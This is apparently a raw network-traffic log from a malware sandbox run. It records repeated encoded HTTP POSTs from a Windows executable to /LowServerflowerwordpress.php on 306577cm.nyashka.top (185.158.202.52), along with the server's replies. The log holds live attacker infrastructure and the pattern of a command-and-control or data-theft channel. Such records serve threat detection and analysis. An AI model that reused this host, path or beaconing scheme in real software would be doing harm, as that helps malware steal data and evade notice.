Jan 7, 2025 11:58:25.774041891 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:26.121011019 CET	2536	OUT	Data Raw: 55 5d 5c 52 5a 43 59 5a 5a 59 51 55 5a 58 50 55 55 56 5b 5e 55 53 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]\RZCYZZYQUZXPUUV[^USTXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%_?11?U;" ,'5$'',1!<R)9,'0\ /.$%[/ Q-8
Jan 7, 2025 11:58:26.425968885 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50022	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:26.580897093 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:26.933345079 CET	1860	OUT	Data Raw: 55 5f 59 5e 5a 45 59 51 5a 59 51 55 5a 5d 50 53 55 55 5b 5e 55 56 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_Y^ZEYQZYQUZ]PSUU[^UVT_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&+1:(<5 #['+'+)]',6!'(97'343.%[/ Q-,
Jan 7, 2025 11:58:27.217132092 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:27.347106934 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 26 1d 35 0a 24 0f 26 3d 27 1f 27 3b 2d 0f 3c 31 22 02 28 0a 3e 13 25 28 2b 51 31 3c 09 1d 22 3c 24 08 29 01 2d 16 35 0e 2a 57 26 03 28 5c 00 1b 27 00 24 0b 34 0b 2a 1c 29 0f 26 0e 3e 5e 31 22 24 15 23 2e 3e 55 22 39 35 1e 23 3d 2b 0e 2c 3d 3f 11 28 37 3b 5e 3a 34 20 04 34 13 20 51 0d 17 38 53 30 3e 3b 00 33 2f 25 03 35 51 34 55 22 25 29 5b 26 3f 32 59 32 2d 20 04 3c 39 38 5e 21 2f 2e 04 21 5e 20 0e 36 3a 08 57 3d 2c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: &5$&='';-<1"(>%(+Q1<"<$)-5W&(\'$4)&>^1"$#.>U"95#=+,=?(7;^:4 4 Q8S0>;3/%5Q4U"%)[&?2Y2- <98^!/.!^ 6:W=,#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50023	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:26.701873064 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:27.058207035 CET	2536	OUT	Data Raw: 55 58 59 59 5f 49 59 5a 5a 59 51 55 5a 54 50 50 55 54 5b 5d 55 55 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UXYY_IYZZYQUZTPPUT[]UUTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&*!9(?!$35T'+)^&?5Z"-<T)9'Y+7 ,].%[/ Q-
Jan 7, 2025 11:58:27.353787899 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:27.486126900 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50030	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:27.607680082 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:58:27.964940071 CET	2536	OUT	Data Raw: 50 5b 5c 53 5f 49 59 51 5a 59 51 55 5a 54 50 57 55 5e 5b 5c 55 56 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P[\S_IYQZYQUZTPWU^[\UVTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&*1>(3]60('5/083,>#>$>$S0(_#08-4%[/ Q-
Jan 7, 2025 11:58:28.258249044 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:28.388850927 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50036	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:28.684082985 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:29.042717934 CET	2536	OUT	Data Raw: 55 5a 59 5b 5a 46 5c 52 5a 59 51 55 5a 58 50 50 55 55 5b 5e 55 56 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UZY[ZF\RZYQUZXPPUU[^UVTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%_+""+#?_"3<&50$(>&,%#>>9$ \ _-%[/ Q-8
Jan 7, 2025 11:58:29.320918083 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:29.451194048 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50043	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:29.574264050 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:29.933250904 CET	2536	OUT	Data Raw: 50 5b 5c 5e 5f 49 5c 55 5a 59 51 55 5a 5a 50 50 55 5e 5b 5c 55 54 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P[\^_I\UZYQUZZPPU^[\UTTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%<)+86V3]$%0$+&3)".*($?43/-4%[/ Q-0
Jan 7, 2025 11:58:30.220545053 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:30.353065968 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50048	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:30.483547926 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:30.839613914 CET	2536	OUT	Data Raw: 50 58 5c 5f 5a 44 59 55 5a 59 51 55 5a 54 50 55 55 54 5b 5c 55 5e 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PX\_ZDYUZYQUZTPUUT[\U^T[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?1%?#?\"'&5($8)X0%[6=8* 0?<Y" <-4%[/ Q-
Jan 7, 2025 11:58:30.886260986 CET	1236	OUT	Data Raw: 30 56 3d 5b 33 06 24 2e 26 3d 02 1b 0d 5a 09 3f 31 5b 2a 25 39 33 0b 2f 0b 5a 0d 18 3f 24 2b 3e 3f 0a 12 10 33 0d 07 31 0c 0f 39 34 24 31 1d 0d 3a 3f 21 12 35 17 26 28 08 3e 2b 3a 32 00 28 0e 33 0a 06 5c 33 34 1a 1f 0c 3f 58 32 3b 3a 23 2c 38 5a Data Ascii: 0V=[3$.&=Z?1[%93/Z?$+>?3194$1:?!5&(>+:2(3\34?X2;:#,8Z$Z:=9.S@8&:X"<>+(H?;<&"<;) #$1>":>992'292Y,+!))<:#!#=0^$0:<#S=4+.9:+?&;,09/19(>33'!4>)+6?8 Z=^+,1<'=@
Jan 7, 2025 11:58:31.119961023 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:31.284373045 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50056	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:31.423269987 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:31.777065992 CET	2536	OUT	Data Raw: 55 59 5c 5c 5f 40 59 56 5a 59 51 55 5a 5a 50 54 55 55 5b 5d 55 50 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UY\\_@YVZYQUZZPTUU[]UPTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(!Z< 8"0#$6/'+&'Z9"-3>_#'?_ 3X:%[/ Q-0
Jan 7, 2025 11:58:32.060446024 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:32.191009998 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50062	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:32.326642990 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50063	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:32.360996962 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:32.714416027 CET	1860	OUT	Data Raw: 55 5f 59 5e 5f 47 59 57 5a 59 51 55 5a 55 50 53 55 57 5b 58 55 5f 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_Y^_GYWZYQUZUPSUW[XU_TYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%]![?50 &%$U389X0Z>!-<(<%<;#,:4%[/ Q-
Jan 7, 2025 11:58:33.016716957 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:33.185365915 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 26 13 21 34 3b 1a 30 3e 27 54 27 38 32 1f 3f 32 26 07 2b 23 21 02 27 3b 2f 56 31 3c 27 58 20 3c 28 42 2b 2f 29 1b 36 20 21 0c 26 39 28 5c 00 1b 24 59 27 32 37 1f 3e 0c 2a 1e 25 37 2a 59 32 32 02 14 36 2d 25 0a 23 2a 21 1f 34 03 0a 50 39 00 2b 54 28 1a 24 05 2f 37 09 10 20 13 20 51 0d 17 3b 0f 27 3d 24 5f 27 02 25 00 23 34 37 0d 37 36 3e 05 25 5a 31 04 31 3d 09 10 3c 39 28 12 36 02 32 05 36 06 2b 53 20 29 3e 1f 29 06 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: &!4;0>'T'82?2&+#!';/V1<'X <(B+/)6 !&9(\$Y'27>%7Y226-%#*!4P9+T($/7 Q;'=$_'%#4776>%Z11=<9(626+S )>)#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50064	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:32.488189936 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:32.839452982 CET	2536	OUT	Data Raw: 50 58 59 5c 5f 40 5c 52 5a 59 51 55 5a 55 50 52 55 53 5b 52 55 5f 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PXY\_@\RZYQUZUPRUS[RU_T_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%^(W>^?3(!#/Z37$+6'<"!X#*: U3?;##,-$%[/ Q-
Jan 7, 2025 11:58:33.133208036 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:33.262991905 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50070	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:33.389415979 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:58:33.745742083 CET	2536	OUT	Data Raw: 55 5d 59 5e 5a 41 59 54 5a 59 51 55 5a 5e 50 50 55 53 5b 5d 55 5e 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]Y^ZAYTZYQUZ^PPUS[]U^T_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(W9(0/^6;]'5$Y$,!>0(),'Y(X U8_.$%[/ Q-
Jan 7, 2025 11:58:34.026005983 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:34.159159899 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50077	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:34.278441906 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:34.636301041 CET	2536	OUT	Data Raw: 50 59 5c 5d 5a 45 5c 55 5a 59 51 55 5a 5b 50 55 55 53 5b 58 55 50 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PY\]ZE\UZYQUZ[PUUS[XUPT]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&*"%?38!V/X3#$!36= W=9,T0/;#U;,$%[/ Q-
Jan 7, 2025 11:58:34.942833900 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:35.118182898 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50087	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:35.254023075 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:35.605164051 CET	2536	OUT	Data Raw: 55 5f 5c 59 5a 41 5c 51 5a 59 51 55 5a 5b 50 51 55 55 5b 58 55 53 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_\YZA\QZYQUZ[PQUU[XUST_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%^<1&> 3_6/\''%8'X#.(*00?$ -4%[/ Q-
Jan 7, 2025 11:58:35.917725086 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:36.052651882 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50093	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:36.183638096 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:36.542542934 CET	2536	OUT	Data Raw: 55 5f 5c 5c 5f 49 59 5a 5a 59 51 55 5a 5f 50 54 55 54 5b 52 55 51 54 52 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_\\_IYZZYQUZ_PTUT[RUQTRYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y*2:?3+_5 ;X0%''&<=5;>4%<# 8_-%[/ Q-$
Jan 7, 2025 11:58:36.823402882 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:36.951698065 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50099	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:37.075999975 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
